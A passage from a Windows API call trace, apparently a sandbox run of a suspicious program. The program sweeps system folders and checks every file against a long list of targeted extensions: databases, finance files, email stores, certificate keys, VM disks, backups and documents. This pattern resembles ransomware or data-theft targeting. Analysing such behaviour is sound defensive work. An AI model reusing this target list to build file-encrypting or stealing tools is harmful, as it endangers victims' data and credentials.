lpString2="System.Deployment.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Deployment\\413d36d1d35aabadf1c9d6f0a56cfab8\\System.Deployment.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Deployment\\413d36d1d35aabadf1c9d6f0a56cfab8\\System.Deployment.ni.dll" [0112.588] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Deployment\\413d36d1d35aabadf1c9d6f0a56cfab8\\System.Deployment.ni.dll", pszSpec="*.ems") returned 0 [0112.588] lstrlenA (lpString="*.ems") returned 5 [0112.588] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Deployment\\413d36d1d35aabadf1c9d6f0a56cfab8\\System.Deployment.ni.dll", pszSpec="*.db") returned 0 [0112.588] lstrlenA (lpString="*.db") returned 4 [0112.589] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Deployment\\413d36d1d35aabadf1c9d6f0a56cfab8\\System.Deployment.ni.dll", pszSpec="*.dbf") returned 0 [0112.589] lstrlenA (lpString="*.dbf") returned 5 [0112.589] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Deployment\\413d36d1d35aabadf1c9d6f0a56cfab8\\System.Deployment.ni.dll", pszSpec="*.myox") returned 0 [0112.589] lstrlenA (lpString="*.myox") returned 6 [0112.589] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Deployment\\413d36d1d35aabadf1c9d6f0a56cfab8\\System.Deployment.ni.dll", pszSpec="*.myo") returned 0 [0112.589] lstrlenA (lpString="*.myo") returned 5 [0112.589] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Deployment\\413d36d1d35aabadf1c9d6f0a56cfab8\\System.Deployment.ni.dll", pszSpec="*.qbw") returned 0 [0112.589] lstrlenA (lpString="*.qbw") returned 5 [0112.589] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Deployment\\413d36d1d35aabadf1c9d6f0a56cfab8\\System.Deployment.ni.dll", pszSpec="*.qbb") returned 0 [0112.589] lstrlenA (lpString="*.qbb") returned 5 [0112.589] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Deployment\\413d36d1d35aabadf1c9d6f0a56cfab8\\System.Deployment.ni.dll", pszSpec="*.qbm") returned 0 [0112.589] lstrlenA (lpString="*.qbm") returned 5 [0112.589] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Deployment\\413d36d1d35aabadf1c9d6f0a56cfab8\\System.Deployment.ni.dll", pszSpec="*.qbo") returned 0 [0112.589] lstrlenA (lpString="*.qbo") returned 5 [0112.589] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Deployment\\413d36d1d35aabadf1c9d6f0a56cfab8\\System.Deployment.ni.dll", pszSpec="*.qbx") returned 0 [0112.589] lstrlenA (lpString="*.qbx") returned 5 [0112.589] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Deployment\\413d36d1d35aabadf1c9d6f0a56cfab8\\System.Deployment.ni.dll", pszSpec="*.qba") returned 0 [0112.589] lstrlenA (lpString="*.qba") returned 5 [0112.589] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Deployment\\413d36d1d35aabadf1c9d6f0a56cfab8\\System.Deployment.ni.dll", pszSpec="*.qby") returned 0 [0112.589] lstrlenA (lpString="*.qby") returned 5 [0112.589] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Deployment\\413d36d1d35aabadf1c9d6f0a56cfab8\\System.Deployment.ni.dll", pszSpec="*.qbj") returned 0 [0112.589] lstrlenA (lpString="*.qbj") returned 5 [0112.589] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Deployment\\413d36d1d35aabadf1c9d6f0a56cfab8\\System.Deployment.ni.dll", pszSpec="*.ofx") returned 0 [0112.589] lstrlenA (lpString="*.ofx") returned 5 [0112.589] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Deployment\\413d36d1d35aabadf1c9d6f0a56cfab8\\System.Deployment.ni.dll", pszSpec="*.qif") returned 0 [0112.589] lstrlenA (lpString="*.qif") returned 5 [0112.589] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Deployment\\413d36d1d35aabadf1c9d6f0a56cfab8\\System.Deployment.ni.dll", pszSpec="*.mye") returned 0 [0112.589] lstrlenA (lpString="*.mye") returned 5 [0112.589] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Deployment\\413d36d1d35aabadf1c9d6f0a56cfab8\\System.Deployment.ni.dll", pszSpec="*.mbox") returned 0 [0112.589] lstrlenA (lpString="*.mbox") returned 6 [0112.589] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Deployment\\413d36d1d35aabadf1c9d6f0a56cfab8\\System.Deployment.ni.dll", pszSpec="*.eml") returned 0 [0112.590] lstrlenA (lpString="*.eml") returned 5 [0112.590] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Deployment\\413d36d1d35aabadf1c9d6f0a56cfab8\\System.Deployment.ni.dll", pszSpec="*.pst") returned 0 [0112.590] lstrlenA (lpString="*.pst") returned 5 [0112.590] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Deployment\\413d36d1d35aabadf1c9d6f0a56cfab8\\System.Deployment.ni.dll", pszSpec="*.ost") returned 0 [0112.590] lstrlenA (lpString="*.ost") returned 5 [0112.590] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Deployment\\413d36d1d35aabadf1c9d6f0a56cfab8\\System.Deployment.ni.dll", pszSpec="*.idx") returned 0 [0112.590] lstrlenA (lpString="*.idx") returned 5 [0112.590] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Deployment\\413d36d1d35aabadf1c9d6f0a56cfab8\\System.Deployment.ni.dll", pszSpec="*.dbx") returned 0 [0112.590] lstrlenA (lpString="*.dbx") returned 5 [0112.590] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Deployment\\413d36d1d35aabadf1c9d6f0a56cfab8\\System.Deployment.ni.dll", pszSpec="*.sql") returned 0 [0112.590] lstrlenA (lpString="*.sql") returned 5 [0112.590] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Deployment\\413d36d1d35aabadf1c9d6f0a56cfab8\\System.Deployment.ni.dll", pszSpec="*.mdb") returned 0 [0112.590] lstrlenA (lpString="*.mdb") returned 5 [0112.590] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Deployment\\413d36d1d35aabadf1c9d6f0a56cfab8\\System.Deployment.ni.dll", pszSpec="*.fdb") returned 0 [0112.590] lstrlenA (lpString="*.fdb") returned 5 [0112.590] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Deployment\\413d36d1d35aabadf1c9d6f0a56cfab8\\System.Deployment.ni.dll", pszSpec="*.wab") returned 0 [0112.590] lstrlenA (lpString="*.wab") returned 5 [0112.590] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Deployment\\413d36d1d35aabadf1c9d6f0a56cfab8\\System.Deployment.ni.dll", pszSpec="*.dat") returned 0 [0112.590] lstrlenA (lpString="*.dat") returned 5 [0112.590] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Deployment\\413d36d1d35aabadf1c9d6f0a56cfab8\\System.Deployment.ni.dll", pszSpec="*.txt") returned 0 [0112.590] lstrlenA (lpString="*.txt") returned 5 [0112.590] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Deployment\\413d36d1d35aabadf1c9d6f0a56cfab8\\System.Deployment.ni.dll", pszSpec="*.jpeg") returned 0 [0112.590] lstrlenA (lpString="*.jpeg") returned 6 [0112.590] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Deployment\\413d36d1d35aabadf1c9d6f0a56cfab8\\System.Deployment.ni.dll", pszSpec="*.jpg") returned 0 [0112.590] lstrlenA (lpString="*.jpg") returned 5 [0112.590] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Deployment\\413d36d1d35aabadf1c9d6f0a56cfab8\\System.Deployment.ni.dll", pszSpec="*.png") returned 0 [0112.590] lstrlenA (lpString="*.png") returned 5 [0112.590] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Deployment\\413d36d1d35aabadf1c9d6f0a56cfab8\\System.Deployment.ni.dll", pszSpec="*.php") returned 0 [0112.590] lstrlenA (lpString="*.php") returned 5 [0112.590] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Deployment\\413d36d1d35aabadf1c9d6f0a56cfab8\\System.Deployment.ni.dll", pszSpec="*.cs") returned 0 [0112.590] lstrlenA (lpString="*.cs") returned 4 [0112.590] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Deployment\\413d36d1d35aabadf1c9d6f0a56cfab8\\System.Deployment.ni.dll", pszSpec="*.cpp") returned 0 [0112.590] lstrlenA (lpString="*.cpp") returned 5 [0112.590] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Deployment\\413d36d1d35aabadf1c9d6f0a56cfab8\\System.Deployment.ni.dll", pszSpec="*.rar") returned 0 [0112.591] lstrlenA (lpString="*.rar") returned 5 [0112.591] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Deployment\\413d36d1d35aabadf1c9d6f0a56cfab8\\System.Deployment.ni.dll", pszSpec="*.zip") returned 0 [0112.591] lstrlenA (lpString="*.zip") returned 5 [0112.591] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Deployment\\413d36d1d35aabadf1c9d6f0a56cfab8\\System.Deployment.ni.dll", pszSpec="*.html") returned 0 [0112.591] lstrlenA (lpString="*.html") returned 6 [0112.591] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Deployment\\413d36d1d35aabadf1c9d6f0a56cfab8\\System.Deployment.ni.dll", pszSpec="*.htm") returned 0 [0112.591] lstrlenA (lpString="*.htm") returned 5 [0112.591] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Deployment\\413d36d1d35aabadf1c9d6f0a56cfab8\\System.Deployment.ni.dll", pszSpec="*.xlsx") returned 0 [0112.591] lstrlenA (lpString="*.xlsx") returned 6 [0112.591] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Deployment\\413d36d1d35aabadf1c9d6f0a56cfab8\\System.Deployment.ni.dll", pszSpec="*.xls") returned 0 [0112.591] lstrlenA (lpString="*.xls") returned 5 [0112.591] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Deployment\\413d36d1d35aabadf1c9d6f0a56cfab8\\System.Deployment.ni.dll", pszSpec="*.mp4") returned 0 [0112.591] lstrlenA (lpString="*.mp4") returned 5 [0112.591] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Deployment\\413d36d1d35aabadf1c9d6f0a56cfab8\\System.Deployment.ni.dll", pszSpec="*.ppt") returned 0 [0112.591] lstrlenA (lpString="*.ppt") returned 5 [0112.591] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Deployment\\413d36d1d35aabadf1c9d6f0a56cfab8\\System.Deployment.ni.dll", pszSpec="*.pptx") returned 0 [0112.591] lstrlenA (lpString="*.pptx") returned 6 [0112.591] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Deployment\\413d36d1d35aabadf1c9d6f0a56cfab8\\System.Deployment.ni.dll", pszSpec="*.doc") returned 0 [0112.591] lstrlenA (lpString="*.doc") returned 5 [0112.591] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Deployment\\413d36d1d35aabadf1c9d6f0a56cfab8\\System.Deployment.ni.dll", pszSpec="*.dot") returned 0 [0112.591] lstrlenA (lpString="*.dot") returned 5 [0112.591] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Deployment\\413d36d1d35aabadf1c9d6f0a56cfab8\\System.Deployment.ni.dll", pszSpec="*.docx") returned 0 [0112.591] lstrlenA (lpString="*.docx") returned 6 [0112.591] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Deployment\\413d36d1d35aabadf1c9d6f0a56cfab8\\System.Deployment.ni.dll", pszSpec="*.7z") returned 0 [0112.591] lstrlenA (lpString="*.7z") returned 4 [0112.591] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Deployment\\413d36d1d35aabadf1c9d6f0a56cfab8\\System.Deployment.ni.dll", pszSpec="*.tar") returned 0 [0112.591] lstrlenA (lpString="*.tar") returned 5 [0112.591] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Deployment\\413d36d1d35aabadf1c9d6f0a56cfab8\\System.Deployment.ni.dll", pszSpec="*.bz2") returned 0 [0112.591] lstrlenA (lpString="*.bz2") returned 5 [0112.591] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Deployment\\413d36d1d35aabadf1c9d6f0a56cfab8\\System.Deployment.ni.dll", pszSpec="*.gz") returned 0 [0112.591] lstrlenA (lpString="*.gz") returned 4 [0112.591] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Deployment\\413d36d1d35aabadf1c9d6f0a56cfab8\\System.Deployment.ni.dll", pszSpec="*.mkv") returned 0 [0112.592] lstrlenA (lpString="*.mkv") returned 5 [0112.592] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Deployment\\413d36d1d35aabadf1c9d6f0a56cfab8\\System.Deployment.ni.dll", pszSpec="*.eml") returned 0 [0112.592] lstrlenA (lpString="*.eml") returned 5 [0112.592] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Deployment\\413d36d1d35aabadf1c9d6f0a56cfab8\\System.Deployment.ni.dll", pszSpec="*.msg") returned 0 [0112.592] lstrlenA (lpString="*.msg") returned 5 [0112.592] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Deployment\\413d36d1d35aabadf1c9d6f0a56cfab8\\System.Deployment.ni.dll", pszSpec="*.edb") returned 0 [0112.592] lstrlenA (lpString="*.edb") returned 5 [0112.592] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Deployment\\413d36d1d35aabadf1c9d6f0a56cfab8\\System.Deployment.ni.dll", pszSpec="*.accdb") returned 0 [0112.592] lstrlenA (lpString="*.accdb") returned 7 [0112.592] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Deployment\\413d36d1d35aabadf1c9d6f0a56cfab8\\System.Deployment.ni.dll", pszSpec="*.odb") returned 0 [0112.592] lstrlenA (lpString="*.odb") returned 5 [0112.592] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Deployment\\413d36d1d35aabadf1c9d6f0a56cfab8\\System.Deployment.ni.dll", pszSpec="*.java") returned 0 [0112.592] lstrlenA (lpString="*.java") returned 6 [0112.592] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Deployment\\413d36d1d35aabadf1c9d6f0a56cfab8\\System.Deployment.ni.dll", pszSpec="*.asm") returned 0 [0112.592] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Deployment\\413d36d1d35aabadf1c9d6f0a56cfab8\\System.Deployment.ni.dll", pszSpec="*.pfx") returned 0 [0112.592] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Deployment\\413d36d1d35aabadf1c9d6f0a56cfab8\\System.Deployment.ni.dll", pszSpec="*.pem") returned 0 [0112.592] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Deployment\\413d36d1d35aabadf1c9d6f0a56cfab8\\System.Deployment.ni.dll", pszSpec="*.p12") returned 0 [0112.593] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Deployment\\413d36d1d35aabadf1c9d6f0a56cfab8\\System.Deployment.ni.dll", pszSpec="*.gpg") returned 0 [0112.593] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Deployment\\413d36d1d35aabadf1c9d6f0a56cfab8\\System.Deployment.ni.dll", pszSpec="*.vsd") returned 0 [0112.593] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Deployment\\413d36d1d35aabadf1c9d6f0a56cfab8\\System.Deployment.ni.dll", pszSpec="*.odg") returned 0 [0112.593] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Deployment\\413d36d1d35aabadf1c9d6f0a56cfab8\\System.Deployment.ni.dll", pszSpec="*.raw") returned 0 [0112.593] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Deployment\\413d36d1d35aabadf1c9d6f0a56cfab8\\System.Deployment.ni.dll", pszSpec="*.nef") returned 0 [0112.593] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Deployment\\413d36d1d35aabadf1c9d6f0a56cfab8\\System.Deployment.ni.dll", pszSpec="*.svg") returned 0 [0112.593] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Deployment\\413d36d1d35aabadf1c9d6f0a56cfab8\\System.Deployment.ni.dll", pszSpec="*.psd") returned 0 [0112.593] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Deployment\\413d36d1d35aabadf1c9d6f0a56cfab8\\System.Deployment.ni.dll", pszSpec="*.vmx") returned 0 [0112.593] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Deployment\\413d36d1d35aabadf1c9d6f0a56cfab8\\System.Deployment.ni.dll", pszSpec="*.vmdk") returned 0 [0112.593] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Deployment\\413d36d1d35aabadf1c9d6f0a56cfab8\\System.Deployment.ni.dll", pszSpec="*.vdi") returned 0 [0112.593] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Deployment\\413d36d1d35aabadf1c9d6f0a56cfab8\\System.Deployment.ni.dll", pszSpec="*.lay6") returned 0 [0112.594] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Deployment\\413d36d1d35aabadf1c9d6f0a56cfab8\\System.Deployment.ni.dll", pszSpec="*.mpeg") returned 0 [0112.594] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Deployment\\413d36d1d35aabadf1c9d6f0a56cfab8\\System.Deployment.ni.dll", pszSpec="*.djvu") returned 0 [0112.594] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Deployment\\413d36d1d35aabadf1c9d6f0a56cfab8\\System.Deployment.ni.dll", pszSpec="*.tiff") returned 0 [0112.594] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Deployment\\413d36d1d35aabadf1c9d6f0a56cfab8\\System.Deployment.ni.dll", pszSpec="*.backup") returned 0 [0112.594] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Deployment\\413d36d1d35aabadf1c9d6f0a56cfab8\\System.Deployment.ni.dll", pszSpec="*.pdf") returned 0 [0112.594] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Deployment\\413d36d1d35aabadf1c9d6f0a56cfab8\\System.Deployment.ni.dll", pszSpec="*.cert") returned 0 [0112.594] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Deployment\\413d36d1d35aabadf1c9d6f0a56cfab8\\System.Deployment.ni.dll", pszSpec="*.docm") returned 0 [0112.594] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Deployment\\413d36d1d35aabadf1c9d6f0a56cfab8\\System.Deployment.ni.dll", pszSpec="*.xlsm") returned 0 [0112.594] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Deployment\\413d36d1d35aabadf1c9d6f0a56cfab8\\System.Deployment.ni.dll", pszSpec="*.dwg") returned 0 [0112.594] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Deployment\\413d36d1d35aabadf1c9d6f0a56cfab8\\System.Deployment.ni.dll", pszSpec="*.nd") returned 0 [0112.594] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Deployment\\413d36d1d35aabadf1c9d6f0a56cfab8\\System.Deployment.ni.dll", pszSpec="*.tlg") returned 0 [0112.595] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Deployment\\413d36d1d35aabadf1c9d6f0a56cfab8\\System.Deployment.ni.dll", pszSpec="*.lgb") returned 0 [0112.595] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Deployment\\413d36d1d35aabadf1c9d6f0a56cfab8\\System.Deployment.ni.dll", pszSpec="*.mov") returned 0 [0112.595] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Deployment\\413d36d1d35aabadf1c9d6f0a56cfab8\\System.Deployment.ni.dll", pszSpec="*.xdw") returned 0 [0112.595] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Deployment\\413d36d1d35aabadf1c9d6f0a56cfab8\\System.Deployment.ni.dll", pszSpec="*.ods") returned 0 [0112.595] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Deployment\\413d36d1d35aabadf1c9d6f0a56cfab8\\System.Deployment.ni.dll", pszSpec="*.wav") returned 0 [0112.595] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Deployment\\413d36d1d35aabadf1c9d6f0a56cfab8\\System.Deployment.ni.dll", pszSpec="*.mp3") returned 0 [0112.595] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Deployment\\413d36d1d35aabadf1c9d6f0a56cfab8\\System.Deployment.ni.dll", pszSpec="*.aiff") returned 0 [0112.595] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Deployment\\413d36d1d35aabadf1c9d6f0a56cfab8\\System.Deployment.ni.dll", pszSpec="*.flac") returned 0 [0112.595] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Deployment\\413d36d1d35aabadf1c9d6f0a56cfab8\\System.Deployment.ni.dll", pszSpec="*.m4a") returned 0 [0112.595] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Deployment\\413d36d1d35aabadf1c9d6f0a56cfab8\\System.Deployment.ni.dll", pszSpec="*.csv") returned 0 [0112.595] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70726621, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x70726621, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x7074c782, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x254c00, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="System.Deployment.ni.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 0 [0112.596] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0112.596] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x707e4d03, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x707e4d03, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x707e4d03, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="413d36d1d35aabadf1c9d6f0a56cfab8", cAlternateFileName="413D36~1")) returned 0 [0112.596] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0112.596] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xadeb0f55, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xadeb0f55, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xadeb0f55, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x790053, dwReserved1=0x740073, cFileName="System.Design", cAlternateFileName="SYSTEM~1.DES")) returned 1 [0112.596] lstrcmpA (lpString1=".", lpString2="System.Design") returned -1 [0112.596] lstrcmpA (lpString1="..", lpString2="System.Design") returned -1 [0112.596] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\*.*") returned="*.*" [0112.596] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\", lpString2="System.Design" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Design") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Design" [0112.596] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Design\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xadeb0f55, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xadeb0f55, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xadeb0f55, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0112.596] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0112.596] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xadeb0f55, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xadeb0f55, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xadeb0f55, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0112.596] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0112.596] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0112.596] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xadeb0f55, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xadeb0f55, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xadeb0f55, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="d42a48a3e73b472a80d0d44038af89b0", cAlternateFileName="D42A48~1")) returned 1 [0112.596] lstrcmpA (lpString1=".", lpString2="d42a48a3e73b472a80d0d44038af89b0") returned -1 [0112.596] 